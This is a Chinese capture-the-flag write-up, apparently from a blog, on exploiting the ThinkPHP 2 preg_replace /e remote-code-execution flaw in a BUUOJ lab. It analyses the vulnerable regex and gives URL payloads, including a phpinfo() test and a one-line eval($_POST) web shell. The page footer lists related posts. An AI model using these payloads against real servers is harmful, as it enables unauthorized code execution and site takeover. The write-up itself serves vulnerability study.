[ThinkPHP]2-Rce buuoj
[ThinkPHP]2-Rce
进来是这个页面
构造路径。
好,构造正确,但是服务器拦截了对该操作的访问
打开提示网站,看到关键信息
分析正则
老版本的正则可以用 ’@‘符号表示模式。以下正则是模式e
preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
看第一个括号,表示匹配任意字符串。并将变量向后引用到位置1
$depr 变量默认是'/'
$paths 变量是提交的url路径
看第二个括号,表示匹配除'/'以外的字符,再匹配一个字符 '/'。并将变量向后引用到位置2
所以,最后匹配后得到的内容就是
$var[任意字符串1] = 任意字符串2 + /
注意位置2用了双引号闭合,而双引号闭合是可以解析变量的。这就是漏洞所在
代码审计
由于tp2测试环境搭建麻烦,php版本也没有对于的xdebug。只能用docker环境, 然后看变量就将其输出到文件夹。
定位到漏洞代码位置,加上一行测试代码,查看正则后的$var变量
file_put_contents('/var/www/html/test.txt', print_r($var, true).'\n', FILE_APPEND | LOCK_EX);
一番docker简单替换文件后,只要我们带着路径访问就可以得到一个test.txt文件。
于是在'iam'的位置构造payload。因为这里用了双引号。
/index.php/Index/index/yes/${phpinfo()}
php一个特性。${a} = $a,如果a是一个变量,则会在双引号下会解释这个变量。如果花括号里面是代码,会将其运行。得到的结果当成变量名。由于phpinfo没有返回值。所以为yes对应的值为空。
phpinfo是会向屏幕输出,但没有返回值。或者说是返回空值。
至此漏洞就清晰明了了。
最后构造一句话payload,记得添加eval代码。不然只是接受你的参数,但无法执行
http://node4.buuoj.cn:27489/index.php/Index/index/yes/${@eval($_POST[1])}
用数字型一句话密码是因为字符串型要用引号,而目标有魔术引号转义
以为flag是个文件,找啊找。最后小丑竟是我自己!
[ThinkPHP]2-Rce buuoj的更多相关文章
- Thinkphp 缓存RCE
5.0.0<=ThinkPHP5<=5.0.10 . 漏洞利用条件: 1.基于tp5开发的代码中使用了Cache::set 进行缓存 2.在利用版本范围内 3.runtime目录可以 ...
- Thinkphp5 RCE总结
thinkphp5最出名的就是rce,我先总结rce,rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同,导致pa ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- thinkphp 5.1框架利用及rce分析
前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- ThinkPHP 5.0.24 反序列化RCE (Windows下EXP)
直接上exp吧,Windows下. <?php namespace think\process\pipes; class Windows { private $files = []; publi ...
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster
三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...
- thinkphp历史漏洞
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞 路由控制類RCE/think/App.php if (!preg_ ...
随机推荐
- 认识变量(python)
一.变量定义 1.1使用规范:先定义,后使用 1.2由三部分组成:变量名,赋值符号,变量值 1.3定义变量就是申请一个内存空间,python内部优化机制,对于数据量小的申请,就不重复开内存空间 二.变 ...
- java笔记:00 数据类型
- 大数据教程-01HDFS的基本组成和原理
一 Hadoop历史背景 起源于2003年谷歌的Google File System相关论文,随后Doug Cutting(我们下面就叫他切哥吧)基于GFS的论文实现了分布式文件系统,并把它命名为ND ...
- vue3-码一下组件的v-model
RT,码一下组件的v-model,知识点太多,没听懂...,后面学完回来再仔细看看
- PHP命令执行集锦
前言 代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 命令执行函数 E.g.1 <?php error_reporting(0); s ...
- Monkey的参数及简单使用
什么是Monkey? Monkey是Android SDK提供的一个命令行工具,可以简单方便的发送伪随机的用户事件流,对Android APP做压力(稳定性)测试.主要是为了测试app是否存在无响应和 ...
- flask 数据库一节笔记
笔记一:os.path的用法:1. os.path.dirname(__file__) 返回当前脚本的执行路径,__file__为固定参数2. os.path.abspath(file) ...
- Spring ---Spring专题(一)
1. Spring简介 1.1 什么是Spring spring是分层的java SE/EE应用full-stack(全栈)轻量级开源框架,以IOC(Inverse Of Control:反转控制)和 ...
- 记-beego项目调用Jenkins API获取job信息
type JenkinsController struct { beego.Controller } type Job struct { Name string `json:"name&qu ...
- Linux Yum仓库源配置
Yum概念:Yum软件仓库的作用是为了进一步简化RPM管理软件的难度以及自动分析所需软件包及其依赖关系的技术 Yum配置仓库源放置位置:/etc/yum.repo.d/ :配置文件需以 .repo 结 ...